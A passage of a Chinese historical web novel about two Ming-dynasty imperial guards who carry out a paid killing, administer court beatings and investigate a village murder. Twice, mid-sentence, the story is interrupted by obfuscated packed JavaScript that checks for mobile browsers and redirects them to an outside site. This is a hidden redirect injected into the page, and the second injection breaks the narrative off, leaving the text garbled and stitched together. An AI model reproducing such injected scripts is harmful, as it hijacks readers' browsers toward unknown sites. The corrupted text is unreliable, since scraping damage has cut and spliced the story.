《锦衣卫》 1. 金陵盛夏 洪武五年,燕王朱棣北征,大败扩廓贴木儿于克鲁伦河。 元人仓皇撤离时,屠一十六部河畔游牧,闻突厥拓跋部中儿啼不绝,朱棣循声而寻,得一男婴,起名拓跋锋。 洪武八年,徐天德收兵,途经崆峒山,遇云游老道。 老道邀其对弈,博弈间徐达得千里之外家书:曰其妾临盆,诞一男孩,徐达老来得子,欣喜至极,请老道赐名。 遂得名徐云起。 洪武十三年,朱元璋杀胡惟庸。 洪武十七年,朱元璋杀徐达。 洪武二十三年,朱元璋杀李善长,夷其三族。 洪武二十五年,朱元璋杀周德兴。 洪武二十七年,朱元璋杀颖国公傅友德。 洪武二十八年,朱元璋杀宋国公冯胜,开国六公至此皆亡。 洪武二十五年,太子朱标薨。 梅子黄尽,盛夏南京。 舞烟楼大门紧闭,开了偏门,供人进出,小巷里停了辆马车,楼上丝竹频传,间有女子笑语盈盈。 云起略侧过身,从巷后转出,随手掸了掸黑袖上沾的尘,抬首望向二楼。 “……主事再喝杯。” “……小声……莫招了鹰犬……” 云起一脚踹上狭隘巷壁,踏上马车顶棚一跃,攀着舞烟楼那红栏,轻飘飘一个鹘纵翻上二楼,继而躬身,消去冲势,单膝落稳。 顺势抬手,拎住侍卫冠上不住晃动的垂绦,屏息。 云起闪身进房,门楣上刻有“春兰”二字,扫视四周,听脚步声起,便就地一个打滚,躲进床底。 少顷男人一手端着酒杯,另一手搂着舞烟楼的红牌春兰,嘻嘻哈哈地进来,春兰娇笑道:“主事喝完这杯就回去罢,正治着国丧,万一被锦衣卫的大爷们抓了现成……” “不妨不妨——”男人醉醺醺道:“管他是死了太子还是死了皇上,本官不过是个从六品……来来来,到床上聊……” 那男人“嗳”地出了口长气,搂着春兰便滚在床上。 云起躺在床底,听那床板吱呀吱呀响个不停,百无聊赖地等了一会,直至那男人办完事,打起了呼噜,云起才心不在焉地一抖袖,甩出一把钢箔般的小刀,看也不看,反手朝床上摸去。 修长五指间透出两寸宽的刀刃,朝那男人脖上轻轻一划,男人登时醒觉,捂着脖子醒转,嗬嗬大叫数声,颈中鲜血狂喷,挣扎着要下床,几番无力,又重重摔在枕上。 床上春兰冷不防被喷了一头血,捂着肚兜坐起,尖叫道:“又是你!何时来的?!” 云起抽身而出,拱着袖子,答道:“你弹琴那会儿。” 春兰匆忙拉了衣服下地,怒道:“你……徐云起!你这月都在老娘床上杀仨人了——!有完没完了还!” 云起抽出一封帖子,扔在桌上,答道:“国丧期间,流连花街柳巷,皇上说见者可杀,我放不得。驾帖抬头还空着,待会兵部的人来认尸了,你把他名儿填上去就是。” 春兰眯起眼,打量云起许久,忽道:“姑奶奶本想灌醉了救他一命来着,这家伙究竟是挡谁的路了?” 云起笑了笑,摆手不言,扔了个小银锭在桌上,道:“女人,莫要多问,钱留着你换床单帐子,这月不来了。” 春兰怒道:“这月都廿八了,再来,老娘还做不做生意了!” 云起吹了声口哨,跃出栏杆,黑色滚金边袍襟于风中一抖,消失无踪。 春兰又等了一会,心想人走远了,酝酿半晌情绪,方破声尖叫道:“杀人拉——!” 云起沿着西直街一路走来,随手扯了树枝,撇来敲去,于偏门入宫,回到锦衣卫住处——门前挂着白纱的红漆小楼。 洪武年间,锦衣卫设八人一队编制,六队轮班,加正副使二名,共五十人。 这五十名身高俱在八尺以上,面容英俊,锦衣华服的侍卫住在大院中,除却值班,便随时听由朱元璋调遣。 时正过午,未轮到班的侍卫刚起床,于院中打了水洗脸,见云起回院,纷纷打招呼。 “副使早。” 云起随口应了,朝抱膝坐在高处檐廊的一名侍卫道:“荣庆!怎还穿飞鱼服?下来将黑服换了。” 那名唤荣庆的侍卫朝云起笑道:“大清早做什么去了,袖上湿了一大滩。” 云起将袖子一甩,在青石砖地上留了道红点子。 荣庆登时蹙眉道:“又杀人了?” 云起不答,反问道:“老跋呢?” 荣庆道:“锅里泡着。” 云起郁闷道:“啥时进去的?” 荣庆哼哼道:“前脚下锅,你后脚就回,火烧得正旺,没半个时辰出不来。” 云起立于原地想了一会,本欲再等,奈何满袖粘血,只得朝那院东小楼行去。 澡堂内蒸汽氤氲,云起脱靴解带,宽了侍卫黑服,将武冠扔到一旁,白色单衣上现出偌大一片紫黑。 拓拔锋背对云起,浸在澡池里半躺着,古铜色满布伤痕的背脊露出水面,拓跋锋冷冷道:“清早寻不见人,原是出去了,一阵血味,杀的谁。” 云起解下白衣,卷了卷,扔到拓跋锋身前,漾出一片淡红,继而跨进热水中,吁了口气,道:“兵部主事,从六品,国丧期间入青楼……” 拓跋锋道:“多少钱?” 云起答道:“十两银子。我好歹等他完了事才下手,死在红牌的小肚皮上,也算不冤。” 拓跋锋侧过头,打量云起,疑道:“谁出手这般阔绰?” 云起道:“主事那职虽小却肥,不知多少人盯着,眼巴巴等着他死的就五六个,合该倒霉。” 拓跋锋道:“把皂角拿了,坐过来,背上沾了血,师兄给你洗洗。” 那时间只闻水声作响,二人都被满池热气熏得呼吸稍促,拓跋锋抱着云起,让他坐在自己腿间,手指在其肩背上揉搓片刻,道:“听者有份。” 云起懒洋洋道:“搓个背要五两银子?” 拓跋锋不答,云起正笑着,忽正色道:“正使大人,烦请手勿乱摸。” 云起正要起身,喉咙瞬间被拓跋锋强健手臂箍住,一口气憋在胸中,抬头望向湿漉漉的天花板。 拓跋锋在云起的耳旁出了口热气,低声道:“还顺路嫖了一把?” 云起肘锤后撞,拓跋锋不避不让,正中肋下,吃痛呻吟一声,松开了云起。 云起咳了几声,答道:“早使了个清光,下回请早。” 拓跋锋笑了起来,随着云起走出澡池,二人站在落地镜前,拓跋锋赤裸的躯体如同一头健美的猎豹,肌肉充满力量与爆发感。云起却自顾自地穿上里衣,看也不看他一眼。 拓跋锋修长的手指分开,按着云起的背脊,继而一手环过他的腰,道:“锦衣卫个个带伤,就你皮干肉净。嚣张太过不好,当心挨棍子。” 云起挑衅地看着铜镜中赤身裸体的拓跋锋,扬眉嘲道:“你舍得?”话毕翻指去戳拓跋锋双眼。 拓跋锋松了手来架,云起将那带血侍卫服朝木桶里一扔,点了点头,转身离去。 锦衣卫前身为“仪鸾司”,又称“锦衣亲军都指挥使司”,洪武元年由朱元璋亲自设立,辖下编制不定,前两任锦衣卫成员极少,却俱是严格筛选,百里挑一,选二十五岁以下的男子:武功,文才,仪表,身材四项缺一不可。 宫中锦衣卫职责繁多,既担任朱元璋殿前仪仗队,又听由皇帝直接差遣,往来宫中走动,无须通传,这种官职一向猫腻极多。 朱元璋为止一应公猫儿偷腥,特立规矩,锦衣卫在职期间:一不可入青楼,二不可与后宫妃子眉来眼去,打情骂俏。 犯此二条者,诛九族。 宫外不干不净的事儿甚多,太祖自然也有他不方便说的考量。 可以理解,万一哪名锦衣卫带了点难言之隐,传给某个后妃,皇上又在不知道的情况下翻了她的牌子……如此一传十,十传百,三千后宫不定俱要受那隐疾之苦,保不住连朝中大臣、大臣夫人等亦有危险。 索性一干侍卫无论年纪,不得近女色,待得卸任后要嫖要娶,再自己整去,免得事情啰嗦。 这便苦了一应血气方刚的侍卫们,尤以二十岁的指挥正使拓跋锋为首。 一群男人成日住在大院里,除了等待皇帝哪天心血来潮,乱点鸳鸯配个媳妇以外,就没旁的指望了。 当然,拓跋锋也不在乎媳妇。 云起还可将就,毕竟只有十七岁。此刻他袖内揣着一物,换了身干净侍卫服,穿过花园,朝仁德殿去,到得太子书房前便停下脚步。 隔着窗格,隐约见到房内坐着一人,正埋头写着什么。 云起在窗外轻叩三下,道:“皇孙。” 朱允炆抬首道:“云哥儿!” 云起乃是徐达儿子,徐达与朱元璋同辈,长女更嫁予朱棣,论起辈分,朱允炆反该唤其作叔,然而二人年岁相近,云起也就由着朱允文混叫,道:“你要的玩意儿给你买来了。” 朱允炆要去开门,云起却道:“在窗外接了就是。” 朱允炆道:“《忠义水浒传》?” 云起答道:“不识字,不懂你那劳什子水洗船,且看看是这本不。” 朱允炆笑了笑,接过书来一翻,书页暗黄,显是年代久远,正是元末民间说书先生留的抄本。 云起自然识字,只想哄得他高兴,又掏了个小木盒递过,道;“还买了块西域来的水晶片儿,夜里在灯下需透着看,免伤了眼。” 朱允炆骤遇父丧,却是提不起精神,没精打采地朝云起道谢。 云起看在眼中,知其心情不佳,便道:“今儿出去,遇了件乐事,说与你听?” 说毕云起在窗外道:“早上我去舞烟楼抓个兵部主事,那家伙死到临头,还抱着个姑娘哼哧哼哧,翻来滚去……” 朱允炆一听便有了兴头,问道:“抓住了么?” 云起煞有介事道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472482|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“难抓得很……且听云哥儿道来,主事脱光了趴在床上……”说着挽袖探手,对着窗格,俩手各伸食中二指动了动,作了俩小人模样,便演示道: “那男的这么滚过来,红牌姑娘又这么压过去……” “一个俩手扯着……另一个又这么……两只脚夹着……” 朱允文被逗得笑了起来。 云起收手回袖,莞尔道:“笑了就好,莫憋着,价成日伤身。这就走了,杂书莫被太傅翻着,哥没空帮你背干系。” 云起正要离去,忽听一人遥遥道:“丧葬未过,何事喧哗?!” 云起暗道不好,忙示意皇孙滚回去藏东西,只见庭廊尽头一人大步走来,头披麻,身着素,斥道:“谁让你来太子书房的?” 那人正是当朝太傅黄子澄,朱允炆遇黄子澄,便如耗子见了猫,吓得房内笔架翻墨砚倒,乒乒乓乓一顿乱响,云起却上前几步,拦于书房外,朝黄子澄拱手笑道:“见过太傅。” 黄子澄年逾三十,形貌清癯,此刻涨红了脸怒斥道:“又是你!锦衣卫无事不得入后宫,国丧期间更需着黑服,徐云起,你现一身华服来见皇孙是何用意!随我去见拓跋锋!” 云起笑道:“太傅息怒,正使轮值,这时间该在殿上,小的正要去替,顺路看看皇孙,不若我与太傅同去?” 黄子澄被将了一军,这等小事,无论如何是不敢闹到朱元璋面前去的,黄子澄又道:“皇孙丧父,如割肉剜骨,恸其心乃人之常情。不悲不恸是不孝也!何用你来操心?副使何在?唤你锦衣卫副使来。” 云起想了想,道:“太不巧了!副使数日前刚卸职,回家相亲去也。” 黄子澄怒道:“休得诓我,新任副使是何人?今日之事,不得善罢,你便与我在此等着,再传人去唤……” 云起诚恳道;“新任副使是……” 黄子澄:“?” 云起:“……我。” 黄子澄:“……” 黄子澄深呼吸数下,正要想话来教训,那时又有几名锦衣卫行过,正是荣庆与三名锦衣卫勾肩搭背,朝云起点头致礼。 “副使好,嘿嘿。” 云起道:“严肃点!” 众锦衣卫不约而同地板起脸,道:“副使好,黑黑黑——” 房内传来朱允炆苦忍着的笑声,云起道:“小的这就滚,太傅一起滚……一起去见皇上?”说毕忙搭着一名侍卫的肩膀溜了。 众侍卫转过回廊方一阵笑,荣庆问道:“啰嗦太傅教训你做甚。” 云起嘲道:“他寂寞了。” 说话间众人到得议事廷,拓跋锋立于廷外,眼望日晷,见云起时色变道:“你……怎不换黑服?” 云起这才醒觉黑服沾了血,洗完未曾晾干,竟穿着飞鱼服便来了,若非拓跋锋守着,入廷便要被当场架出去打死。险些铸成大错,忙问道:“什么时辰?我现回去借一套穿。” 拓跋锋道:“未时,来不及了。”说完将云起拉到柱后隐蔽处,便伸手解自己领扣。 云起立时会意,遂扯开腰带,二人在柱后互换侍卫服。 拓跋锋接过飞鱼服不穿上身,却低头为云起系扣挽黑腰带,又吩咐道:“皇上今儿脸色不好,待会恐怕要动廷杖打言官……你听着……” 云起道:“又要动廷杖?” 拓跋锋道:“太子谥号,不过是增几个字减几个字……有一言官,名唤庄麓,妻小方才托人送了银钱,让掌廷杖那人手中宽点分寸,勿伤到筋骨……” 云起嘲道:“谁收了银钱便找谁去。” 拓跋锋手臂紧了紧,沙着嗓子,略低下头道:“师兄收了银钱。” 云起与拓跋锋沉默对视,拓跋锋身材颀长,更比云起高了半个头,一身单衣白如初雪,衬出古铜色的干净脖颈肌肤。 二人身躯贴在一处,呼吸挨得极近,鼻息交错,彼此嘴唇几乎便要相触。 皮鼓“咚”的一声轻响,示意锦衣卫换班,拓跋锋松手,目送云起进了议事廷。 八名锦衣卫步法整齐划一,三步到位,原当值侍卫躬身,转到柱后,沿偏门离去。 云起轻轻呼了口气,眼观鼻,鼻观心,立于朱元璋龙案一侧,眼角余光捕捉着朱元璋的一举一动。 朱元璋须发俱白,双眼浑浊,显是朱标之死亦对其打击甚大。 白发人送黑发人,终究令这冷酷无情的君主原形毕露,云起看在眼中,只觉不过是个老态龙钟的垂暮之人罢了。 朱元璋提起笔,于斩诀名单上勾了个圈,继而咳嗽几声。 司监忙捧了帕子递过,并来回轻抚朱元璋的背脊。 殿中直挺挺地跪着两名大臣,一名言官,一名文臣,二人俱脸色森寒,像是早在地下跪了数个时辰,汗水浸湿了官服背脊一大滩,更有涔涔汗珠沿着脸颊滑下,滴于地面。 朱元璋只视而不见,喝了口茶,道:“云起。” 云起心中一凛,答道:“臣在。” 2. 天子廷杖 朱元璋沙着嗓子道:“你较之拓跋锋如何?” 云起先是一愕,而后方明白过来,不敢仓促回应,心内开足马达,飞速思考朱元璋此问的用意。 云起答道:“论统领之能,兵家之谋,勇武悍战,云起俱不及锋。” 朱元璋眯起眼,目光锋利,瞥向廷外,片刻后呵呵笑道:“兵家之谋也不及?只怕未必。”朱元璋干枯的老脸上现出一丝玩味的笑容:“论兵家之谋,你是徐达之子……” 云起恰到好处地打断道:“将门亦并非俱是虎子,更何况……” 那一瞬间,云起心念电转,敏锐地捕捉到了朱元璋稍纵即逝的思维痕迹,想籍此话题引出言官错失?还是谈立储?抑或两者皆有? 云起会心一笑,转了话头道:“但论思辨,锋不及我。” 朱元璋笑了起来,道:“思辨有何用?不过是逞一时口舌之利,于事无助无补。” 云起微笑道:“辩显于外,乃是小才,不足为傲,云起所倚仗的,乃是查案之能。” 朱元璋满意地缓缓点头,云起道:“锋不擅发现蛛丝马迹,臣能。” 朱元璋道:“思辨显于外,谋智敛于内,朝中言官若悟得此道,当不至于成日纠缠细微末节。取廷杖。” 云起朝殿内另一侧站立的荣庆伸指一点,后者面朝朱元璋躬身。 二人转身相背,迈出六步,步伐整齐,恰恰好行至墙边,各自鞠躬,同时取下置于木架上的廷杖。转身朝殿中走来。 另四名锦衣卫熟练上前,两人架胳膊,两人擒足,将左侧言官于地上牢牢按住。 “皇上!”言官并不挣扎,抬头歇斯底里猛喊道:“我大明虽于草莽起家!然祖宗礼法不可废——!‘和天敬德’四字谥号非贤即圣——!” “皇上饱读诗书,罔顾孔孟之道——!” 言官双眼圆睁,其形可怖至极,不住喘息,吼道:“有何面目见天下治学之人?!皇上千秋万世之后,只恐太子受尽国人唾骂——!皇上!请三思!” 这话听在耳中,就连云起也按捺不住,为此言官捏了把汗,实在无法理解多四个字与少四个字的区别……但有一点他是明白的,多了这四个字,估计四十廷杖跑不掉。 果然,朱元璋道:“庄麓,四十杖。” 庄麓……不错,正是拓跋锋吩咐要下手轻点那人,云起双脚一前一后站定,荣庆眼角余光一瞥,得到信号,二人此起彼伏,开始猛击那言官背脊,庄麓登时发出一声惨叫! 庄麓痛嚎之声缭绕在廷,朱元璋只充耳不闻,继续批那奏折。 四十廷杖打完,庄麓已是奄奄一息,趴在地上,双目神色迷离,口中喃喃不清不楚,反复念着几句什么。 言官股间,大腿,背脊上血沫横飞,身下浸着一大滩血,两名锦衣卫上前将他拖了下去,另两名锦衣卫则取来一块黑布,各分左右,沿着两把廷杖朝下干净利落地一抹,红漆铁杵焕发出崭新光泽。 朱元璋将手中奏折叠起,冷冷道;“方孝孺。” 另一名年轻文臣却是无动于衷,道;“臣在。” 朱元璋道:“你可知罪。” 方孝孺答道:“自古子承父业,臣不知何罪之有。” 朱元璋道:“你之罪乃是管了朕的家事,这奏章可是你的?!” 方孝孺沉声道:“正是臣亲笔所书!” 朱元璋怒道:“都察院御史,六科给事中俱不敢管朕的家事,此便是罪,四十杖!” 行将就木的天子一声怒喝,登时激起猛咳,太监忙上前抚背,云起清醒过来,站定开打。 廷杖一落,预料中的惨叫并未响起,方孝孺咬牙硬抗,云起心内暗嘲傻子……廷杖击人,若人全身紧绷,内伤便越狠;唯有令肌肉放松,方能换得些许皮肉伤,将养数日便好。 方孝孺这下挨完,估计两条腿就废了,云起暗自可惜,然而这名字听起来又甚熟,打到第五下时,云起终于想起此人是谁,登时色变,忙改换步型,并朝荣庆连使眼色。 荣庆未曾抬头,专注地盯着方孝孺背脊,卖力打个不停。 云起哭笑不得,手上轻了力度,以重锤击破鼓之力虚打,声音极响,着力却甚微,依旧是打得满身血,方孝孺斜斜歪在地上,已是昏了过去,当即被锦衣卫架出廷外。 云起叹息不已,读书人果是不经打。 那一下午朱元璋再无话。云起站到鼓声起,便与荣庆并肩回了院中。 云起一只脚高曲,踩在条凳上,接过荣庆盛来的饭扒拉,边道:“你眼睛怎这般不好使……” 荣庆哭笑不得道:“先前看你并着靴,便以为那读书人打得,我怎知?” 云起道:“罢了,打了就打了,你知道么?‘天下之事,常发于至微,而终为大患’便是他写的。方孝孺是宋濂的登科弟子,写得一手好文章。” 荣庆一头雾水状,朝云起碗中挟来菜道:“没听过,写这劳什子,难怪被打。” 云起笑了起来,自顾自道:“你打重,我打轻,拖了下去,不知是怎生个光景。” 荣庆忽地想到二人使力不均,这大才子指不定回去就要单脚瘸着,蹦蹦跳跳,当即一口饭喷了出来,大笑道:“我那几下打得甚狠,该是瘸了。” 云起打趣道:“不还有一只脚么,才子大可以飞腿踢人。”继而与荣庆相视大笑。 二人吃了饭,正要各自回房时,云起却不见拓跋锋,回房见自己沾了血的侍卫服没了,料想是拓跋锋取去穿,倒也不介意。 等了片刻,直至掌灯那会,忽听院外来了一小太监,尖着嗓子道:“皇上传锦衣卫指挥副使徐云起——” 云起蹙眉不知发生了何事,临时补班也该侍卫来传,怎会命太监来? 云起跟着出院,朝那小太监手中塞了一小锭银子,道:“小兄弟,皇上传我何事?” 那小太监阴笑打量云起,拉着他的手,道:“有人于背后嚼舌根呢,副使千万得仔细着答话。” 云起登觉惊惧,难不成是杀兵部主事败露?受贿可是大罪!那瞬间骇得说不出话来,心中飞速想了十几条脱罪之法,但转念一想不对,拓跋锋定不会出卖他,心内安稳不少,惴惴行至殿上,见黄子澄拢袖立于殿中,朱允炆两眼通红,站于龙案一旁。 拓跋锋站得笔直如同桩子,身穿云起的那身侍卫服,袖上仍湿着一片,其身材略高些许,衣服上身,稍有不合,手腕突兀地露出一小截。 拓跋锋朝着云起极缓慢地摇了摇头。 云起避开拓跋锋视线,松了口气,行过礼,微笑着抬头,望向朱允炆。 朱元璋道:“徐云起,你既会查案,朕命你助黄太傅查清:何人将此杂书带入宫内,交予允炆杂书。私自携物进宫,乃是大罪。” 书上叠着两片碎裂的水晶片。 云起笑道:“皇孙,臣且问一句,这书是何人胆大包天,藏着进宫交予你的?” 朱允炆忍忿不答,片刻后低下头去。 云起道:“臣请借阅此书。” 朱元璋点了点头,太监捧着书与水晶片交到云起手中,云起略一沉吟,只接了书。 朱元璋道:“拿回去,三日内务必查个水落石出。” 云起随手翻了翻崭新的书页,笑道:“臣已破案。” 朱元璋从奏折中抬起头,目光森寒。 云起哗啦一抖那书,微笑道:“臣请问太傅,此书从何处寻得?” 黄子澄冷冷道:“皇孙书房。” 云起道:“那便是了,皇孙定是今日得的此书。” 殿内肃静,云起缓缓道:“书房乃是最易被翻到之地,太傅于书房教□□孙功课,从早到晚,无暇休息,带到书房去做甚?” “要读杂书,也须藏于寝殿之中,枕席之下,据此推测,此书新得,一页亦未曾看过,便已开始功课,遂不得不慌张藏好,以至露了马脚。” “只需唤来今日功课开始前,进书房之人,一问便知。” 黄子澄道:“‘一页亦未曾看过’又是从何得知?” 云起拈起扉页一角,朝向灯光抖了抖,道:“新书粘纸,翻阅不易,必先沾了舌中津液,将其推开。” “然而,此书连着开卷数页俱无指印。定是方得了书,还未看时太傅便赶到。” 云起合上书,看了黄子澄一眼,道:“太傅到书房那会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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拓跋锋手上不停,低声说了句话,吐字模糊不清。 云起痛得神智迷糊,断断续续道:“说什么……突厥话?” 拓跋锋不答,专心致志地摸着云起,那药膏显是灵方,骤涂上时如针刺般难耐,然而过得片刻,却是清凉止痛,治外伤十分有效。 云起眼皮渐重,昏昏欲睡,拓跋锋涂完药,那宽大手掌摸到云起肩后,顺着颈侧享受地来回抚摸。 蚕丝手套光滑无比,云起依稀能感觉到那层丝绸与皮肤相触的质感,甚至能感觉到拓跋锋隔着薄薄一层手套,掌纹间传来的温度。 拓跋锋修长而指节分明的手在云起脖颈处反复摩挲。拇指更不断揉搓他的耳垂。 云起被摸得面红耳赤,道:“你做什么?” 拓跋锋摸了摸云起的脸,饶有趣味道:“侧过身,让我看看。” 云起道:“滚!” 拓跋锋道:“你今天被架着一路拖回院里,膝盖磨破了皮,还须上药。” 云起满脸通红,此刻无论如何不能侧身,旋即道:“不用了。” 拓跋锋上前要助云起翻身,手腕伸进云起颈下,却被他狠狠地咬了一口。云起怒道:“老跋!” 拓跋锋扯了薄被,轻轻盖在云起身上,转身出门。 云起意识恍惚,临睡前听见房外传来淙淙水声,他知道那是拓跋锋在洗他们的衣服。 院内万籁俱寂,一轮皎月照于只着单衣的拓跋锋身上,更显洁白如雪。 拓跋锋洗干净侍卫服晾好,摘了手套,搬来一张矮凳,狼狗般坐于云起床前,手按着地面,前后摇晃半晌,想了又想,从怀里掏出一个小袋,袋中装着几两碎银。 拓跋锋把小袋塞进云起枕下,仔细掖好。 云起依旧趴着不动,清秀的脸侧贴在软枕上,面朝拓跋锋,呼吸均匀,睡熟了。 拓跋锋面无表情,伸手去摸云起的嘴唇,过得半晌,索性解开单衣,赤着上身,爬上床去,学着云起那么趴下,转过头,脸挨得极近,呼吸交错之间,面对面地便睡了。 3. 少年鞍马 骄阳如火,不久前浇过一次水的青石砖地被烤得滚烫。 大院西北角落,一颗高大的梧桐树屹立,蝉鸣声阵阵。 屋檐的阴凉下,云起穿着一身薄薄的单衣,屈起脚,坐于竹椅上,手里捧着个青瓷碗,喝着冰镇酸梅汤。 穿堂风吹来,梧桐叶习习飒飒,蝉噪俱停。 两个孩子不知何时出现,一个扒在树枝上,朝树下不屑地撇嘴;另一个则仰头,怒气冲冲地大叫——十年前,七岁的云起与十岁的拓跋锋。 小云起扮了个鬼脸道:“有种你上来啊——!” 小拓跋锋叫唤道:“别闹了!下来!” 小云起无赖道:“不下。” 小拓跋锋道:“我给师父求情过了!他不打你!” 小云起一脚不住晃悠晃悠,道:“不信——师父要轮毛竹板子揍死我的!” 小拓跋锋扯了上衣,煞有介事地光着膀子,露出后颈正中出纹着的一只野狼,仰头“呜——”地嚎了一会。 小拓跋锋一振肩膀,拉好上衣,道:“下来!师兄作保,他不揍你!” 小云起想了想,道:“为嘛?你跟师父怎生说的?” 小拓跋锋不答,片刻后踢了大梧桐树一脚,大树被踢得微微摇晃,小云起扒着枝杈,一个抓不稳摔了下来。 小拓跋锋转身将小云起接住,抓着他的手,把他拖走了。 “师哥替你挨板子……不许再乱跑了……” “哎呀呀……” 俩小孩声音渐远,云起忍不住笑了起来,将瓷碗放在一旁,懒洋洋地伸了个懒腰。 “哎哟喂——!娘啊!” 云起背后伤口杵正了竹椅靠背,登时痛得寻死觅活。 拓跋锋一阵风似地从院外进来,道:“怎?” 云起泪汪汪道:“没事。” 拓跋锋疑惑地看了片刻,行到云起面前,道:“酸梅汤哪来的?” 说毕躬身,端起云起手旁那碗冰镇酸梅汤,数口猛灌,显是渴得很了。 云起打量拓跋锋,只见拓跋锋一身汗湿淋淋,背上渍了一滩白印。两鬓发丝贴于脸侧。云起随口答道:“我姐夫着人送来的,弟兄们分了点吃,仓库里还存着一块,去给你取了来?” 拓跋锋喝完冰汤,舔了舔嘴唇,道:“免了。”低下身,在云起脖颈旁蹭了蹭。 云起道:“莫成日尽占老子便宜!” 说着忙不迭地避让,拓跋锋的嘴唇印在耳畔,颇有点奇异的冰凉触感,拓跋锋一触即离,转身去打了井水,舀出喝了几大口,云起道:“做什么去了?” 拓跋锋以湿袖抹了把汗,两手扶着井栏,躬身望着烈日地下,出了会神方道:“你背上伤好了?” 云起得意洋洋道:“让你打这般狠,现该用上我的时候,伤还没好,你待怎的?” 拓跋锋难得地笑了起来,答道:“还痛不?师兄给你陪不是了。” 拓跋锋转头道:“去换飞鱼服,陪我查个事儿。” 云起转身入房,随口道:“什么大事得劳动指挥正使去查?不穿黑服,待会那话痨太傅见了又得嚼舌根……” 拓跋锋漫不经心道:“有我对付着,换就是,绣春刀不用带。皇上吩咐,查城外一处村镇,夜半有人走失之事。” 云起道:“皇上还管抓人贩子?” 拓跋锋道:“那处小镇,正在通向皇陵的路上。” 云起道:“太子灵枢还未出去?” 拓跋锋缓慢地摇了摇头,宫门处早已备下马车,拓跋锋顾及云起伤势,不敢骑马,二人乘车出了南京城,少顷到得一处田野上,拓跋锋将云起小心扶了下来。 过午后,绿油油的庄稼被晒得无精打采,耷拉在田埂外,远处依稀有几间农家,鸡犬相鸣,拓跋锋道:“方才我已来过一次,问了几家人,没个头绪……” 云起跟在拓跋锋身后,问道:“这处唤何村?”继而反手抽出他腰间绣春刀,沿路劈砍,放倒高麦。 拓跋锋拨开麦子,在前头开路:“李家村,半月前一夜,乌云蔽月,村中有人听到声响,便起身查看。” 拓跋锋又制止道:“别砍庄稼,乡下人种点口粮不容易。” 云起嘲道:“人命关天,还在乎几株麦子?” 拓跋锋道:“当心划了手!先出门来看那人,不到一会便没了,又有人陆陆续续,举着火把来寻,寻了半夜,不见踪影、” 走了片刻,云起把绣春刀交予拓跋锋,二人立于田野正中。 拓跋锋道:“翌日村民见此处……” 他连刀带鞘一指,云起见到麦田分开一条被压得歪歪斜斜的路,通向西北面。 “把人拖走了?”云起狐疑道。 拓跋锋点了点头,又道:“方才我到那山坡上查了许久,未见异状。” 云起站着想了一会,道:“去村里打桶水来。” 拓跋锋依言照做,提着水桶,避开云起来接那手,道:“你说就是。” 云起随手指了一处道:“泼半桶。” 一桶水泼在那处,浸了一汪。 云起又指二人脚下,道:“剩的泼这处。” 倾于彼此中间的另外半桶水浸入了地面,被吸得干干净净。 拓跋锋抛了水桶,转身奔去取来锄头,回来后埋头开挖。 云起笑着退了几步,道;“虚者实之,实者虚之,念了这许多兵书,怎不学以致用?” 拓跋锋嘴角露出一抹服气的微笑,片刻后挖出一具男子的尸体,遂蹲下检查。 “无刀伤剑伤。”拓跋锋道。 云起道:“翻过来看看后脑勺。” “钝器。”拓跋锋下了结论道:“一锤击毙,脑浆流出。” 云起道:“凿碑用的锤,不应出现在村子里,让亲属来领尸体……” 拓跋锋抛开锄头,以衣袖帮云起擦了脸上汗水,二人在炙阳下站了半晌,云起脸上被晒出一道红痕,沿着鼻梁横过眼下。 拓跋锋问道:“搜村?” 云起道:“只有我们俩,怎么搜?” 拓跋锋打算回去传官差,却被云起拉住,云起笑道:“不忙,先四处问问,谁与这人有仇?” 拓跋锋唤来村长,云起自于空荡荡的晒谷场上坐着。那死去男子妻儿跪在尸旁,哭得呼天抢地,村民们见尸首寻得,于场外围了一圈,指指点点。 拓跋锋询问村长,村长道:“官爷,这人唤李喜儿,是本村人士,前几日与村中王虎起了争执,原是因争几分田地,未想竟是干下这人命勾当!” 听到此处,云起便遥遥喊道:“去他家后院看看。” 拓跋锋喊道:“王虎几天前逃了!” 云起道:“去就是,看何处有苍蝇。” 拓跋锋去了片刻,手中提着一把石锤过来,锤头处仍沾了不少血迹,道:“就是它了。” 云起道:“凿子呢?” 拓跋锋愣住了,蹙眉摇头道:“未曾见到。” 凶杀一案至此,似乎便真相大白,村长前去报官,少顷城内官差来了,接手案件,并发出缉捕令,见云起与拓跋锋在,俱是大惊上前。 锦衣卫地位超然,凌驾全国捕快之上,那数名官差不识天子座前红人,见云起一身锦服悠闲纳凉,拓跋锋则身穿黑服,汗流浃背站在一侧,便不住上前拍云起马屁,“官爷”“官爷”地叫得殷勤。 云起莞尔道:“案子破了,这便走罢。” 拓跋锋仍一手提着石锤,护着云起上车去,回返京城,云起哭笑不得道:“呆了么?还带着这物做甚?” 云起接过,要扔下车去,拓跋锋却道:“等等。” 拓跋锋忽道:“此案未结。” 云起蹙眉道:“结了。” 拓跋锋道:“未结。” 云起道:“我说结了就结了!” 拓跋锋手指钳住云起耳朵,云起呼痛避让,拓跋锋嘲道:“听师兄的,我说未结就未结。” 马车停在小巷内,巷中有一石铺,上书大字“玉”。 锦衣卫站在石铺门口,云起忍不住道:“还有什么可查的?村庄仇杀,尸首找到了,证据也有了……” 话未说完,石铺内冲出一名男人。 男人背后飞出一个铜脚盆,乒乓大响,老板娘双手叉腰,追到巷口,尖叫道:“耙耳朵!回家把你母老虎收拾了再来找老娘!” 那男人纳妾被拒,夹着尾巴离开小巷,云起不禁捧腹大笑。 “耙耳朵是啥?”云起莞尔道。 拓跋锋解释道:“耳根子软,惧内。” 云起笑得打跌,拓跋锋微笑道:“你在巷口等我。” 